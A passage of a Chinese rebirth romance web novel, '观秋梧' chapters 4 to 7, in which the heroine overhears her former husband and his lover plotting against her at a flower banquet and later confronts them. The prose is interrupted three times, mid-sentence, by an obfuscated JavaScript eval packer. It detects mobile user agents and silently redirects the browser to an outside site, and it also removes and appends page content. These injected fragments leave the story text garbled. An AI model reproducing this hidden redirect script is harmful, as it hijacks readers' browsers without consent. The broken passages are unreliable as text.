《观秋梧》 4. 赏花宴 时间如流水悄然而逝，院中梨花开得热闹起来。 金桐坐在窗前桌上，嗅着窗外飘来的阵阵梨花香。 前些日子，周家小姐递来赏花宴请柬。 赏花宴是颍川的老传统了，每年四月举办，名义上赏花，实则是供年轻男女彼此相看。 上一世金桐与刘义秉的婚事已经定下来，便没参加，因此错过了与闺中好友周与棠的见面。 本以为要见面日后总有机会，没想到这一次错过，便是一世错过。 她有些思念周与棠了。 正好在家里闷得久了，便当作是劳逸结合，趁此机会透透气也好。 金桐外出总是习惯带着青苗。 知会过吴嬷，到了大门，却发现门口停着两辆马车。 后面一辆是金桐让吴嬷提前备好的，车夫瞧见金桐，便下来相迎。 金桐打量挡在前面的马车，侧首问道：“怎么回事？” 青苗摇头，也是一头雾水。 马车里的人听到动静，探出半个身子，是王盛宣。 凡事有了第一次，就有第二次。 自打刘义秉事件后，王盛宣与苏礼明这两个人就像中了蛊，有事没事就来金府喝茶。 起初金桐还对他二人以礼相待，几次之后就没了耐心。 而后她告诉吴嬷，若无要紧事，这二人再来不必知会她。 之后每次他们来，吴嬷好水好茶地招待，等不到金桐这两个人也就离开了。 今日他们好不容易从吴嬷那得知金桐要参加赏花宴，特意赶着早来等她。 王盛宣朝金桐挥挥手，跳下马车，苏礼明随在其后。 “见大忙人一面可真不容易。”王盛宣抱怨。 这一股子娇嗔味道让金桐打了个寒颤。 苏礼明倒是端方行了一礼，“近日多谢金桐小姐款待。” 金桐回以一礼，“苏公子客气了。” 王盛宣看他二人你拜我，我拜你，大手一挥，“金桐就是我妹妹，金家就是我家，自家兄妹别那么见外。” 这话说得脸皮厚，却也没错。 他打小就爱来金府蹭吃蹭喝，长大变本加厉带人来蹭吃蹭喝，实在宾至如归。 金桐无奈扯了扯嘴角，道：“你要是闲，就去跟伯父学做家中生意。” 王盛宣潇洒一笑，“那几个铺子就让他们争去吧。” 王盛宣是王家长子，“他们”指的是王盛宣下面的几个弟弟。 王家称得上一句家大业大。 他们家做的是首饰生意，几代人积累下的财富，到了王盛宣口中就成了轻飘飘的“几个铺子”，很难说这人是自谦还是自大。 金桐很小的时候就知道，王家的几个弟弟争得很凶。 这便是家中孩子多的坏处了。 她对此不做过多评价。 倒是苏礼明赞赏道：“王兄逍遥自在，不拘俗世，未尝不好。” 时候不早，几人分别上了马车，往周府去。 到了周家，青苗递上请柬，便有一个头上插了花的半大女孩儿迎上前来。 这女孩儿金桐知道的，是周与棠身边的翠环。 翠环道：“金桐小姐请跟我来。” 王盛宣与金桐同到的，见此情形，起了逗弄的心思，故作不满：“你这小丫头怎的还区别对待？” 翠环年纪虽然小，却随了她家小姐，有几分傲气在身上。 她不理王盛宣，对着金桐做出一个“请”的手势。 被一个小丫头轻视，王盛宣很是不服气，“嘿”了一声。 金桐爱看王盛宣吃瘪，得意地笑。 她跟着翠环走了几步，又停下来回头挑衅他们。阳光在她脸上笼罩一层温暖的金色，柳叶眉梢高高挑起，上扬的眼尾神采飞扬，显出少见的娇俏。 王盛宣竟一时看呆。 苏礼明轻咳一声，提醒他回神。 王盛宣挠挠头，十分不好意思似的，傻笑两声。 苏礼明此时心情不错，调侃他：“王兄何故发笑？” 王盛宣私下瞧了瞧，确定没人，扒在苏礼明耳旁悄声问：“苏兄你说，金桐是不是对我有意思？” “唔。”苏礼明甩开扇子，遮住半张脸，往王盛宣那边凑了凑，“也许吧。” 王盛宣顿时像蒸熟的螃蟹，整个人腾腾冒着热气，连说话都结结巴巴：“可是，可是我还没准备好。而且我，我不怎么喜欢她这个脾气的。” 苏礼明饶有趣味欣赏了一阵友人的窘态，大笑走开了。 另一边，金桐已在女席入座。 周家小姐周与棠十五岁，肤白胜雪，桃腮杏眼，是个明艳美人。她今天穿了一身淡粉襦裙，更显娇态。 金桐将她从上到下细细打量了一番，由衷称赞：“人比花娇。” 周与棠羞赧一笑，亲亲热热拉住金桐，“要不我怎么偏偏喜欢和你做朋友，有眼光。” 金桐学她语气：“我也喜欢你，会说话。” 二人相视笑开。 小姐们听到这边动静，纷纷凑过来：“在聊什么，这么高兴？” 金桐和周与棠互相看了看，又笑作一团。 有人问：“金姐姐，你与姓刘的那个书生，究竟怎么回事？” 不知是谁掐了一把问问题的人，骂她：“就你话多。” 被掐那人“哎哟”一声，后知后觉说话不妥，面上挂了窘色。 金桐不忍让她尴尬，施然一笑，“多谢妹妹挂心。” 周与棠是个好事儿的，既然金桐心无芥蒂，她便索性问开了：“说说呗。” “那便说说——”金桐声音转了弯，眼睛却飞到了不远处的榕树那边。 榕树下站着李艾宁，金桐早就留意到了。 李艾宁本就容貌平平，身上又穿着麻布料的裙子，很是不起眼。 没有姑娘与她搭话，她看起来整个人孤零零的。 听到她们这边谈及刘义秉，她倒是有了反应，两只手下意识揪在一起。 这一举动落入金桐眼中，她心中闪过一丝恻隐。 虽然李艾宁在上一世是害死她和孩子的罪魁祸首之一，但此时此刻不过是个同她一般大的小姑娘。 金桐无声叹了口气。 “寡恩薄义，唯利是图，不值相交。” 这话既在提醒一圈姑娘小姐，也在提醒竖着耳朵听她们说话的李艾宁。 话说到这份上，李艾宁要是再一意孤行跳火坑，也怨不得旁人了。 周与棠道：“稀罕了，头一次听你这么刻薄人，看来是被惹得狠了。” 金桐心说这才哪到哪，她与刘义秉的账还在后头。 周与棠以为她又想起那些腌臜事，对金桐眨眨眼：“整个梧桐书院的学生都收到了赏花宴的邀请函，除了一人，你猜是谁？” 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868502|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要想也知道是刘义秉，金桐不赞成道：“他恐怕记恨上你了。” 周与棠撅起嘴，像只骄傲的小孔雀：“记恨就记恨了，我怕他不成？” 周家是官宦世家，周与棠有无惧刘义秉的底气。 刘义秉那样欺软怕硬，金桐料他也不敢对周与棠做什么。 她笑着给好友顺毛：“是是是，要怕也应是他怕你。” 周与棠嫌弃地皱起鼻子，“这话虽听着像好话，我却觉得你在骂我。” 金桐无辜地看着她，周围姑娘们嬉笑闹作一团。 余光瞥向李艾宁，她还在树下站着，姿势都未变过。与她们这边的热闹不同，李艾宁仿佛一座沉默的遗世石像。 金桐正想着要不要招呼她过来，忽见假山后结伴而来几位公子，王盛宣与苏礼明也在其中。 周与棠眼睛亮了，激动地戳金桐，“你看王盛宣旁边的公子，好生俊朗！” 苏礼明生得好，金桐早就知道。 面如白玉，长眉入鬓，十分英武；眉下的双眼又似盛了万千星辰，中和了英气，让他看起来更加俊朗温润。 当初就是那双眼迷了她的心神。 那几个人并排走来，苏礼明鹤立鸡群，挺拔如松的身形格外突出。 随着他们走近，周家小姐两颊染了红云，头也垂越低。 除了周与棠，其他小姐们也是要么垂头，要么侧头，总归没有一人用正眼瞧苏礼明。 哪年赏花宴这群小姐们聚在一起不是叽叽喳喳的，今年倒是安静得出奇，一个个扮起端庄淑女来。 王盛宣凑上来学着她们盯地面，调笑道：“让我瞧瞧，这地上有什么好看的？” 几个与王盛宣熟识的小姐啐骂他，他嘿嘿一笑，也不恼。 赏花宴本就是为年轻男女提供相处的机会，周与棠本也不是内敛温吞的性格。 她鼓起勇气抬起头，黑葡萄般的眼珠直直对上苏礼明，问道：“这位公子不曾见过，如何称呼？” 她脸上虽然仍是粉扑扑的，声音却响亮。 数道目光在周与棠和苏礼明之间迂回，羡慕或揶揄。 “苏礼明。” 只简单回答了自己的名字，苏礼明的目光没在周与棠身上多做停留，反而转向她旁边的金桐，颔首道：“金桐小姐。” 瞬时所有人的注意力都转移到他二人身上。 金桐暗自咬牙，努力维持脸上的假笑。 苏礼明这张脸招蜂引蝶得很，他自己不愿意开罪别人，便抓了自己当挡箭牌。 当真卑鄙。 “你们认识？”周与棠犹疑地看向金桐。 金桐抿了下嘴唇，平静道：“这位苏礼明苏公子，是王公子的朋友。” 她想点到为止，王盛宣却不懂看眼色。 他大剌剌点头，“王兄是我朋友，金桐也认识，早上我们三个一同乘马车来的。” 这话实在说得让人误会，金桐闭了闭眼睛，咬牙切齿地纠正：“两辆马车。” 苏礼明不语，只是得体的笑，仿佛周围的纠纷与他无关。 他们三人气氛实在古怪。 周与棠眼神怀疑地扫过苏礼明，最后落在金桐脸上，明白了什么。 再开口时她没了少女的羞涩，只道：“苏公子初次参加赏花宴，还望玩得尽兴。” 而后她说有事要处理，对众人道了告辞，由侍女跟着回了后院。 5. 假山后 对于周与棠的离开，金桐感到几分失落。 方才周与棠还告诉她说，西北角的芍药园花儿开得最好，等会儿带她去看。 现下只能她自己前去了。 她打发了青苗去和同龄的小丫头玩耍，此时青苗不在她身边。 青苗十来岁开始就跟着她，拘在府里像个小大人，难得有出来放松的机会。 不想打扰青苗和玩伴，金桐决意自己前往。 见她动身，王盛宣和苏礼明立刻狗尾巴似的跟上。 听到身后脚步声，金桐没没什么好气道：“别跟着我。” 然后加快步子摆脱了二人。 “女人的心思真是喜怒无常，”王盛宣感慨，想了半天也想不出来个结果，便问苏礼明，“我哪里又惹她不高兴了？” 苏礼明苦笑，“与王兄无关。” 因为惹恼金桐的人是他。 芍药园倒是意外地清净。 此处芍药开得虽美，却没什么人，想来是因为位置偏僻。 粉白的花朵乘着旺盛的绿舟，随着微风轻颤摇曳，仿佛翩跹起舞的蝴蝶。 金桐徜徉在一片绮丽花海中，心情开阔了不少。 正思忖着散了宴会应如何与周与棠解释，便听见假山后传出窸窸窣窣的说话声。 金桐会心一笑，应是年轻男女在此幽静之处倾诉衷肠。 上一世金桐虽被负心人误了前途和性命，却仍相信世间情爱自有其美好之处。 只是她已无心于此了。 不愿扰人雅兴，金桐放轻脚步，打算原路折返。 却听闻一声女子的惊呼：“我不同意！” 这下她不好离开了，若在她走后，那男子欲行不轨，对方无力招架可怎么办？ 金桐在原地停留片刻，决意往假山那去，以便搭救及时。 低头在地上找了找，她掂了块顺手的石头，悄声顺着声音寻过去。 随着走近，那边的说话声渐渐清晰。 男子道：“我又不喜欢她，和她在一起不过是权宜之计……” 女子道：“何必为了钱财委屈自己，我喜欢你，从来也不是图你什么！” 说完便抽泣着呜咽起来。 金桐听见衣物摩擦的声音，应是男子急了，把人抱在怀里哄着。 紧接着男子又低又快地说了几句，这次金桐没有听真切。 移步到假山侧面，金桐与说话之人仅有一石之隔。 山后的女子在委屈地哭，金桐不免为之心酸。 女之耽兮，不可说也。 于世间女子而言，寻一良人绝非易事。 她付出性命的代价才看清一人的真面目，那女子不知要流过多少眼泪又或付出何种代价才能看清。 半晌，那女子止了哭，说话虽染了鼻音，却带着破釜沉舟的坚定。 “义秉哥哥，我虽不懂男子的前途仕途，却明白自己的心。若你认为那样是好的，我便由你去做。我的心属于你，无论你做什么，它都只属于你。” “宁宁……” 男子的声音听起来有些动容，似是压抑了万般情绪，深情唤她。 宽大的兰纹袖口遮掩下，金桐抓着石头的手紧了紧。 冤家路窄，不会真的这样巧吧？ 犹疑不定之间，只听那女子又开口了。 “你可以娶她，但不准与她有孩子。” “这……”男子为难，“这该如何把握？” 女子道：“这事不难。我知道父亲有一个方子，既可避免女子有孕，又不伤身，只需每次……之前让她服下，保证神不知鬼不觉。” 男子又道：“便按你说的做。只是我姑母精明，恐怕瞒不过她。” “她拜高踩低，任金桐羞辱你，”女子的声音带了几分恨意，“她那边无需担心，只管交给我就好。” 在这一来二去的对话之中，金桐逐渐拼凑出了上一世的真相。 她曾想过，或许李艾宁受了刘义秉蒙骗，不得已才做了他的外室。 原来从这么早开始，他二人已经勾结在一起图谋她的家产。 她竟然才是那个蒙在鼓里的第三人。 李艾宁偷了李大夫的药方，让刘义秉用在她身上。 吴嬷那边，李艾宁更是亲自出马，使其常年服用某种药物，伪造出旧疾引发的急病。 哪怕机关算尽，李艾宁从见不得光到光明正大站在刘义秉身边，也用了整整十年。 为了这样一个人殚精竭虑，金桐实在不知该说她痴还是傻。 事实已经明了，显然李艾宁并不无辜。 那她就不必再对其心软了。 只是现在还不是打草惊蛇的时候。 这二人实在歹毒，若他们知道事情败露，恐怕会狗急跳墙或再生出其他诡计。 金桐提起裙摆，蹑手蹑脚离开了假山。 走出去一段路，金桐回头看，刘义秉与李艾宁也一起从假山后出来了。 她连忙借着花丛遮掩，弯腰走进一条岔路避开。 却在岔路遇见苏礼明与王盛宣。 她与他们之间的距离有数丈远。 王盛宣一看见她便咧开嘴要喊她。 金桐心道不好。 去捂他的嘴是来不及了。 金桐只能赶在王盛宣喊出自己名字之前往旁边一摔，抢先一步大叫出来。 手中的石头就滚落在她脚侧。 她这一摔，苏礼明与王盛宣脸色齐齐变了，立刻惊慌地来扶她。 而此时，身后传来错乱的脚步声，刘义秉和李艾宁也出现在了岔路口。 目的达到。 金桐状若痛苦地低着头，长发遮掩下的眼神清明。 刘义秉循声而来，一见是他们三个便慌了神。 他做贼心虚道：“你们怎么在这……” 金桐摔了，王盛宣本就心急，被这么一问更是气不打一出来。 “呵。”他冷笑一声，“我当是谁在和我说话，算我近日没看黄历，遇见的人真是晦气。” 他说话毫不客气，刘义秉反而松了一口气。 王盛宣不是一个藏得住事的，若是知晓假山后的对话绝不会是这般反应。 只是…… 他戒备地看着跌坐在地的金桐。 “小姐……” 金桐眼含雾气回头，为了让戏更真，她狠掐了一把大腿，逼出几滴生理性泪水。 她说话带着哭腔，语气却是拒人千里的：“周小姐说芍药园的花开得好，我与苏公子他们一同来赏，还要事先知会旁人不成？” “不敢不敢。” 刘义秉连连颔首，心里却暗暗琢磨。 他们是同游，王盛宣不知道的事情，金桐自然也无从知晓。 只是，这一摔太巧合，让他不得不多心。 垂眼瞥见金桐脚边的石头，他定了心，自嘲疑神疑鬼。 “金桐小姐可需要在下帮忙？” 他上前几步，假意关切道，却被身后的李艾宁拽住袖子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868503|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他和李艾宁的关系无法公之于众。 唯恐金桐看出自己与李艾宁之间猫腻，他只得停下。 金桐其实看见了他们的小动作，偏头假装没看见。 她冷哼：“不劳驾。” 刘义秉尴尬一笑。 金桐身为女子，自然不愿让外男见到她的狼狈。 刘义秉深知这一点。 他自以为贴心地对金桐道了告辞，临走对王义秉嘱托道：“我在此不便，金桐小姐这边有劳王公子照料了。” 王盛宣扬起拳头，作势吓唬他：“用得着你教小爷做事？” 刘义秉尝过王盛宣的拳头，很是怕他，便不敢再拿腔作调，灰溜溜遁了。 王盛宣得意地勾起嘴角：“我的戏不错吧？” 王盛宣平时虽傻，关键时候倒是真机灵。 多亏他反应够快，陪她圆了这场戏，才这样简单瞒过刘义秉。 金桐笑道：“这次多谢你。” 苏礼明躬下腰，手心向上递出右手，道：“对不住。” 他指的是利用金桐阻挡别的女子示好这件事。 金桐不动声色地观察面前的这只手。 掌心干净，手指修长，虎口处有着一层薄茧。 那个位置，写字是磨不到的。 她错开眼，搭上苏礼明的手，算是接受了他的道歉。 王盛宣急了：“你们两个在干什么！” 光天化日就旁若无人地拉上手了，这还得了？ 苏礼明十分坦然：“金桐小姐伤了脚，行动不便。” 王盛宣惊讶：“你真扭了脚啊？” 金桐阴阳怪气：“自然没有，我迟迟不起身，只是因为喜欢在地上坐着罢了。” 从小到大她都是这个强调，王盛宣早就听惯了。今日不知怎的，他竟反常地感到不舒服。 他看看金桐，又看看苏礼明，最后视线落在他们交握的手上。 他觉得自己被比下去了。 气哄哄地走到另一边，王盛宣搀着金桐的胳膊。 金桐借力站了起来，刚往前迈一步，脚下就是一软。好在两边都有人借力，她才没跌倒。 她的左腿以一种不正常的角度立着，疼得她倒吸一口凉气。 苏礼明蹲下，隔着鞋袜也看得出她脚踝肿得老高。 “刚才那一下竟然摔实了。”他起身问她，“还能走吗？” 金桐咬着唇点点头。 她试着往前蹭了一步，又是一跌。 好在苏礼明早有准备，即时出手揽住她的腰，卸掉大半的力。 但还是痛得她眼泪打转。 半个身子倚在苏礼明身上，那股子熟悉的苏合香狡猾地钻进她鼻子。 不知是否被痛感扩大了情绪，自重生以来她第一次感到心慌意乱。 还未整理好心情，下一瞬她整个人悬空，被打横抱起。 连惊呼都没来得及。 “冒犯了。”苏礼明低声道。 感受着来自苏礼明胸膛的震颤，金桐攥紧了他的衣襟。 此刻不是别扭的时候，金桐垂下眼睫，轻声说：“有劳苏公子。” 然后闭眼装死。 她装作云淡风轻，紧绷的身体却出卖了她。 王盛宣在旁想要搭手，又觉得多余，一时间有些手足无措。 苏礼明道：“王兄，这里你熟悉，劳烦叫内院的侍女告知苏小姐此处情况。” 王盛宣看了看双目紧闭的金桐，定声道：“等我。” 6. 和解 王盛宣离开，像是带走了一切声响。 万籁俱寂中，金桐只听得到自己沉重的呼吸和擂鼓的心跳。 周遭这样静，她与苏礼明又贴得这样紧。 她慢慢屏住了呼吸，企图以这种方式将疯狂跳动的心平复下来。 脸色慢慢涨红，金桐的睫毛不可遏制地振颤，仿佛慌乱无措的蝶翼。 最后她再也憋不住，睁开眼大口喘气。 却猝然被吸进一双盛着盛夏晚星的幽深眼瞳。 苏礼明，一直在看她吗？ 她不知所措地望着他，捕捉到他眸中一闪而过的笑意。 她今天慌乱的次数太多了。 她有些气馁地错开视线，声音闷闷的：“王公子叫人来恐怕得花些时间，苏公子，先放我下来吧。” 苏礼明觉得有趣。 初次见她，他便觉得有趣。 年纪不大的姑娘家，亭亭地立在人群中，一点儿也不怯场，说出的话掷地有声。 虽看着温婉娴静，他却知道那只是她克制之下的表象。 一旦面对亲熟的人，那股子嚣张跋扈的劲儿就藏不住了。 离开了王盛宣，单独与他相处，她似是处在极大的不安全感之中。 当下这种情形，他只需要略微施压，就能使金桐露出羞恼的爪牙。 那会极大地取悦他。 可是看着怀中紧绷敏感，仿佛小兽一样的少女，他忽地不忍心了。 收起逗弄的心思，苏礼明将人稳了稳，只道：“你的脚不宜久站。” “可是……” “不重。”他知道她在担心什么，又重复了一遍，“不重的。” 怀中的人缓了口气，渐渐放松了身体。 不多时，王盛宣回来，身后跟着担忧的周与棠。 见金桐被苏礼明抱着，周与棠面上闪过一瞬的不自在，但立刻被她压了下去。 “怕人多口杂，所以我没叫旁人，金桐……就有劳苏公子了。” 苏礼明明白其中道理，点头道：“不妨事。” 周与棠走在前面，引着他们走进一条小路。一路畅通无阻，不曾遇见过人。 她直接将金桐带进自己房中，让苏礼明和王盛宣留步在房外。 二人对面而站，活像一双门神。 金桐身量与周与棠大差不差。周与棠翻出自己没穿过的衣裙，让金桐换上。 金桐换好后，从屏风后走出来，周与棠上下打量，果然合身。 之后周与棠又请来大夫，开了些活血化瘀的伤药。 金桐的脚踝看着严重，却没伤到骨头，也算幸运。 周与棠盯着金桐上过药的脚踝半天没说话，生气又自责。 良久，她低声道：“是我不好。” 这伤是怎么来的金桐自己再清楚不过，但又没办法给周与棠讲清缘由。 她有意逗周与棠开心，想了想，装出一副恍然大悟的样子：“好啊你，生我的气，便布陷阱害我。我道好端端的路上怎么凭空出现个绊脚石？” 周与棠被她气笑了，道：“你讲不讲道理。” “既然不是你扔石头害我，那便不是你的错。”金桐粲然一笑，“你非但没错，我还要多谢你大人不记小人过，特意赶来救我。” 这是在宽她的心。 周与棠被开解了不少，却不放过她：“谁说我大人不记小人过？一码归一码。苏公子的事情你不交代清楚，我跟你没完。” 金桐本就想找机会同周与棠解释，此时正好顺坡下了。 “好好好，想知道什么，我保证知无不言。但要事先说好，我全部坦白，你可不能再因为苏公子与我置气。” 周与棠冷脸：“为个男人和你置气，你当真是看低了我。” 金桐连连讨饶：“是我说错了话。我知道的，你不高兴是因为我明明认识苏公子，却装作不认识。你以为我在故意瞒你，心中不舒服。” 周与棠脸色微缓，哼道：“你明白就好。” 接着她问出了第一个问题：“那便说说吧，你与苏公子是不是早就认识？” 金桐道：“不算早，刘义秉当街纠缠我那日，被王盛宣揍了一顿，苏公子当时也在场。” 周与棠点点头，算是接受了这个说法。 金桐继续道：“苏公子是王盛宣的好友，后来王盛宣常来我府上喝茶，每一次都带着苏公子。” 这下周与棠竖起眉毛，不乐意了：“王家是揭不开锅了吗？你一人操持家业不易，他也好意思去找你蹭吃蹭喝！” 她声音不小，门外的王盛宣挖挖耳朵，纳闷道：“苏兄，我怎么好像听到里面在叫我？” 苏礼明忍俊不禁：“我倒是不曾听见，许是王兄听错了吧。” 金桐食指竖在唇前比了个“嘘”，示意周与棠：“轻声。” “好大个男人占女人家的便宜，敢做还怕人说？”周与棠愤愤不平，连着苏礼明一起迁怒了，“苏公子也是近墨者黑，白长了一副好容貌！” “不对，”周与棠反应过来，又问道，“一起来参加赏花宴，又是怎么一回事？” 这便不得不再提王盛宣了。 “我早上出门就看见王盛宣的马车停在我家门前，”金桐抬头望天，“他们乘王家的马车，我乘我金家的马车，如此而已呀。” 周与棠恨声道：“王盛宣，王盛宣，怎么又是王盛宣！” 金桐笑：“何必生他的气？他人是傻了点儿，本性却不坏。我家的人本就不多，吴嬷又喜欢他，他来便来，就当给吴嬷解闷儿。” 一提起吴嬷，周与棠的脸皱起来，“糟了。出门前还好好的，来我这一遭带了伤回去，吴嬷要责怪我招待不周了。” 金桐接手家业前，吴嬷就是金家的掌权人，周与棠不认为吴嬷是金府奴仆，反而将吴嬷视作长辈。 加之早些年吴嬷雷厉风行的做派，周与棠对吴嬷，是打心眼儿里发怵的。 金桐拍拍她的手，“吴嬷是讲道理的人，别担心。” 周与棠反握住她，“那你回家，千万替我多多美言。” 金桐笑道：“放心。” 金桐思虑是否要道出刘义秉出现在芍药园之事。 周与棠瞧出她似是有话要说，问她：“怎么？” 此事关乎内宅安全，金桐想给周与棠提个醒，不必做到和盘托出，点到为止便可。 金桐道：“你说不曾给刘义秉递去赏花宴的请柬……” 金桐不会无端再度提起此事，周与棠闻弦知意：“可是有什么问题？” 金桐道：“可我在芍药园见到了刘义秉，王盛宣还和他呛了几句。” “怎么可能，刘义秉的请柬是我亲手抽出来的，他如何能进来？” 周与棠吃惊道，却不忘关心金桐，“他没纠缠你吧？” 金桐摇头，道：“王盛宣和苏公子在，他不敢做什么。” “那就好。” 周与棠眼珠灵活地转了一圈，露出了然的神色。 “看我给你出气。” 周与棠叫来翠环，跟翠环交代几句。 翠环点头，很快就退下了。 金桐问道：“她一人能行？” 说起翠环，周与棠满眼都是满意。 她扬起下巴：“翠环办事，你只管放心。” 周与棠指着桌上糕点：“喏，你爱吃的栗子糕。” 金桐勾唇捻起一块儿，放入口中。 “很好吃。”她赞道。 大半个时辰后，翠环回来了。 “小姐，人抓住了，关在柴房。” 周与棠让金桐在先房中歇着，她自己则要去会会刘义秉。 刘义秉心术不正又诡计多端，金桐怕周与棠吃亏，想要同行。 有金桐陪着她自然更好，只是周与棠担心金桐的脚，有些犹豫不决。 金桐试着转了下脚踝，道：“药效上来了，已经可以走路。” 说着她就站起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868504|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周与棠连忙搀住她，道：“你别逞强。” 金桐道：“大夫的药见效快，这会儿真的没什么事了。” 周与棠“哎呀”一声，拿金桐没办法。 她执意要去，周与棠也只能由着她。 见周与棠和翠环一左一右搀扶着金桐出来，王盛宣问道：“这是怎么了？” 左右也不怕人多，周与棠同他们卖了个关子：“想知道就一起来吧。” 柴房外，李艾宁焦急地对看门的下人哀求：“义秉哥哥是梧桐书院的学生，进士在身，绝对不会做那种事。这当中一定有误会，求求你们放义秉哥哥出来。” 她哭得满脸泪痕纵横，门口把守的两个人却半点儿怜香惜玉的意思都没有，连一个眼神都欠奉。 金桐看着她，无声叹息。 这是她今天第二次撞见李艾宁在哭了。 李艾宁瞧见她们，先是对着金桐一愣，眼中闪过一丝忿恨。 但是对于周与棠，她却如同见了救世主一般。 “周小姐，义秉哥哥没有偷东西，求你放了他。” 周与棠喜爱美好的事物。 比如花儿，或美人。 李艾宁长相寻常，哭得眼睛眯成一条缝，本就难得她好感。 更因着刘义秉的关系，对李艾宁厌屋及乌。 周与棠想唤她名字，却没想起来今天见过这号人。 翠环小声提醒：“李艾宁，百草堂李大夫的女儿。” 周与棠恍然大悟。 “李艾宁是吧，此事与你无关，请你现在离开。” 李艾宁呜呜哭着，就是不走。 “为个无赖这样作践自己，”周与棠恨铁不成钢，“真没出息。” 任人说什么，李艾宁都听不进。 她几乎哭得视线模糊，可眼睛迸发的恨意却是明晃晃的。 她食指指着金桐，神态癫狂，疯了一般质问她，“是你诬陷义秉哥哥对不对？” 金桐平静地看李艾宁发疯，她同疯子没什么可说的。 这种轻慢的态度更加刺激了李艾宁，她开始口不择言：“果然如旁人所说，你水性杨花，蛇蝎心肠！” “住口！” 周与棠算是看明白了，这李艾宁分明是对刘义秉有意，故意针对金桐。 “李大夫悬壶济世，竟养出你这样的女儿，你可真给你父亲长脸！”她嗤道。 提到父亲，李艾宁似乎又了有顾及，萌生出些许退意。 但柴房内刘义秉挣扎的摩擦声很快又让她情绪激动起来。 她手指着金桐，又扫过王盛宣和苏礼明。 “你们三个奸夫□□……” “啪！” 李艾宁话没说完，挨了一巴掌。 震惊地捂着脸，竟一时忘了哭。 从小父亲对她要求严格，却从未碰过她一根手指头。金桐这一巴掌于李艾宁而言，简直是奇耻大辱！ “你敢打我？你凭什么打我！”她喊得声音都劈了。 金桐冷眼觑她，“事不过三。” 她偏头对王盛宣和苏礼明二人致歉。 因为自己，他们无辜受了牵连。 李艾宁恨极了金桐这种高高在上的态度，扬手要还她一巴掌。 周与棠给看门的人使了个眼色，那二人当即把李艾宁控制住。 周与棠吩咐翠环：“叫车马送李小姐回家，把这儿发生的事情如实转告李大夫。” 翠环称是，掏出帕子塞进胡乱叫嚷的李艾宁嘴里，领着两个壮汉去了。 金桐沉默地看着李艾宁被带下去。 这样的解决办法虽然粗暴，对李艾宁却未必不好。 有了李大夫的管教，李艾宁或许在这一世可以斩断与刘义秉的纠葛。 若有可能，金桐还是希望李艾宁可以走正路的。 如此她也少了一个敌人。 金桐目光转向大门紧闭的柴房。 接下来要解决的便是刘义秉了。 7. 出气 柴房门打开，刘义秉被捆成一团，瑟缩在昏暗的角落里。 方才有李艾宁在外面替他求情，他在柴房内折腾得起劲。 现在李艾宁不在了，他很是识时务起来。 周与棠把金桐推给苏礼明，自己率先踏过门槛。 刘义秉在黑暗中关得久了，乍见光亮，一时间难以适应。 他看不清进来的是何人，只能凭身形隐约辨认出是位女子。 他翻过身体，以一种扭曲的姿态蠕动着靠近周与棠。 周与棠被吓得后退两步。 与此同时金桐三人也跟着进来了。 门口逆光的四个人影，把刘义秉重新吓回了角落里。 待看清金桐的脸，刘义秉激动地呜呜起来。 金桐讥笑道：“好巧，刘公子。似乎每次见面，你都是这样躺在地上。” 刘义秉不住地摇头，向着金桐脚边蠕动。 周与棠抬脚将他踢了回去，把自己恶心得龇牙咧嘴：“呀！脏了我一双好鞋！” 金桐道：“既是为我脏的，回头我赔你一双。” 周与棠甜甜道了声多谢。 气氛这般平静祥和，刘义秉摸不着头脑，但能看出这些人并不打算对他做什么。 手脚被束缚在一起，刘义秉整个人姿势怪异，像一张拉不开的弓，只能脖子使劲儿。 他的脖子早就梗得又酸又累，既放了心，便也卸了劲儿，脑袋重重落在柴草堆上。 周与棠像是看到什么特别有趣的事，哈哈大笑：“你们快看，大难临头，他还休息上了！” 她来了兴致，与刘义秉攀谈起来：“你偷了别人的请柬，是不是料准了被发现也不会怎么样。” “一张请柬而已，不值得报官。” “就算被偷了请柬的人真去报官，官府也不会连这点小事都管，多半当请柬主人自己粗心弄丢的。” “你还不知道吧，上午来了位公子，口口声声说自己的请柬丢了，硬要参加赏花宴。” “下人虽然立即禀告给我，我却当他是浑水摸鱼的，打发走了。” 刘义秉嘴里塞了破布，无法言语，看起来就像周与棠对着他自言自语。 但很明显的，当周与棠说到那个请柬丢了的公子，刘义秉的瞳孔细微地放大了。 “刘义秉，你认识那位公子吗？你怀中请柬上的名字是谁的呢？” “我们不动手是在等你的苦主。” “你又是在等什么呢？” 说完，门口又出现了两个人。 青苗像是踩好了时间带来许大勇。 许大勇身量八尺有余，壮得像堵墙。 他忿恨地撸起袖子，单手拎起刘义秉，就像拎起一只鸡鸭。 